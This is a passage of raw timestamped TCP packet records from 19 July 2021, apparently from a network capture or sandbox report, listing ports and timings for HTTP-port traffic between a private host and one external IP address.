Jul 19, 2021 18:36:29.520956993 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.521200895 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.521294117 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.564141989 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.564270973 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.612335920 CEST	49962	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.613562107 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.616982937 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.617006063 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.617285967 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.617465973 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.617616892 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.618385077 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.618452072 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.693520069 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.693665981 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.694485903 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.694490910 CEST	80	49962	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.695178986 CEST	49962	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.695193052 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.695210934 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.695234060 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.730777025 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.734101057 CEST	49965	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.772583008 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772625923 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772650003 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772670984 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772780895 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772779942 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.772804022 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.772809029 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772836924 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772856951 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.772862911 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772864103 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.772890091 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.772934914 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.772960901 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.772970915 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.812236071 CEST	80	49965	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.812376022 CEST	49965	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.813613892 CEST	49965	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.849905968 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.849942923 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.849952936 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.849967957 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.849982023 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.849994898 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.850003958 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.850038052 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.850105047 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.852701902 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.852735996 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.852766991 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.852873087 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.892319918 CEST	80	49965	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.892980099 CEST	80	49965	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.893064976 CEST	49965	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.928049088 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.928076029 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.928085089 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.928183079 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.928195953 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.928262949 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.928327084 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.928467989 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.929760933 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.929802895 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.929816961 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.929826021 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.929928064 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.929944038 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.930056095 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.930071115 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.930176973 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.995673895 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.995903969 CEST	49965	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.996891975 CEST	49966	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.005697012 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.005736113 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.005747080 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.005763054 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.005835056 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.005851984 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.005866051 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.072997093 CEST	80	49964	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.073141098 CEST	49964	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.075172901 CEST	80	49965	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.075406075 CEST	49965	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.080188036 CEST	80	49966	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.080313921 CEST	49966	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.115811110 CEST	49966	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.117398024 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.198540926 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.198684931 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.199580908 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.199709892 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.199934959 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.200134993 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.201523066 CEST	80	49966	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.208857059 CEST	80	49966	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.209007978 CEST	49966	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.278429031 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.278460979 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.278731108 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.278750896 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.278816938 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.278856039 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.278887987 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.278894901 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.278939962 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.278956890 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.278975010 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.279022932 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.279076099 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.325692892 CEST	49966	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.326148033 CEST	49968	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.357758999 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.357791901 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.357805014 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.357819080 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.357832909 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.357860088 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.357878923 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.357920885 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.357943058 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.358051062 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.358067036 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.358104944 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.358120918 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.358143091 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.358185053 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.371712923 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.371970892 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.408677101 CEST	80	49968	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.408812046 CEST	49968	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.408898115 CEST	80	49966	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.409116030 CEST	49966	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.409934044 CEST	49968	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.436831951 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.436861038 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.436911106 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.437002897 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.437045097 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.437077045 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.437088013 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.437217951 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.437340975 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.437657118 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.450947046 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.450969934 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.450982094 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.450992107 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.451003075 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.451013088 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.451023102 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.494282961 CEST	80	49968	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.494330883 CEST	80	49968	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.494399071 CEST	49968	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.516037941 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.516062975 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.516072035 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.516088009 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.516102076 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.525196075 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.525341034 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.606781006 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.607197046 CEST	49968	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.608777046 CEST	49969	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.685606956 CEST	80	49967	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.685801983 CEST	49967	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.689646006 CEST	80	49968	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.689747095 CEST	49968	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.691895008 CEST	80	49969	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.692028999 CEST	49969	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.717789888 CEST	49969	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.773576021 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.801254988 CEST	80	49969	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.802093983 CEST	80	49969	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.802187920 CEST	49969	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.855953932 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.856215954 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.856748104 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.856867075 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.857024908 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.857188940 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.921906948 CEST	49969	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.922975063 CEST	49971	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.939357996 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939416885 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939438105 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939449072 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939474106 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939487934 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939522028 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939548016 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.939588070 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.939604998 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.939785957 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939924002 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939945936 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:30.939985991 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:30.940015078 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.001903057 CEST	80	49971	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.002011061 CEST	49971	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.002681971 CEST	49971	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.004827976 CEST	80	49969	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.005222082 CEST	49969	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.027184963 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.027213097 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.027226925 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.027240992 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.027257919 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.027272940 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.027282953 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.027338028 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.027410984 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.027498960 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.081654072 CEST	80	49971	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.100125074 CEST	80	49971	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.100336075 CEST	49971	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.110758066 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.110789061 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.110804081 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.110819101 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.110840082 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.110857964 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.110872984 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.110898972 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.110958099 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.193005085 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.193059921 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.193097115 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.193224907 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.193236113 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.193336964 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.217578888 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.217853069 CEST	49971	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.219170094 CEST	49973	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.299498081 CEST	80	49971	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.299572945 CEST	49971	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.301294088 CEST	80	49970	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.301527977 CEST	49970	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.302952051 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.317521095 CEST	80	49973	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.317653894 CEST	49973	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.318092108 CEST	49973	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.385907888 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.385998964 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.386516094 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.386744976 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.386979103 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.387078047 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.416722059 CEST	80	49973	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.433475018 CEST	80	49973	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.433726072 CEST	49973	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.471261978 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.471338987 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478303909 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478840113 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478853941 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478863955 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478879929 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478894949 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478907108 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478919029 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478933096 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.478981972 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.479022026 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.479043961 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.479087114 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.482264042 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.543370962 CEST	49973	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.544483900 CEST	49975	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.561953068 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.561980009 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.561988115 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.561995983 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.562002897 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.562062979 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.562078953 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.562122107 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.562187910 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.562221050 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.562248945 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.562319040 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.563067913 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.565213919 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.568329096 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.628175974 CEST	80	49975	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.628665924 CEST	49975	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.629483938 CEST	49975	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.646946907 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.647192955 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.651139021 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.661089897 CEST	80	49973	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.661206961 CEST	49973	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.711942911 CEST	80	49975	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.711971045 CEST	80	49975	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.712095022 CEST	49975	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.732796907 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.732829094 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.735394001 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.735433102 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.735447884 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.747456074 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.747765064 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.824357033 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.824759960 CEST	49975	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.827524900 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.905564070 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.905846119 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.906801939 CEST	80	49975	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.906825066 CEST	80	49974	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.906915903 CEST	49975	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.906955004 CEST	49974	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.909343958 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:31.987941980 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.988579035 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:31.988765001 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.393799067 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.393980026 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.394146919 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.394257069 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.472238064 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.472537041 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.472714901 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.472918987 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.473078966 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.473938942 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.474029064 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.474250078 CEST	80	49976	185.114.247.54	192.168.2.6
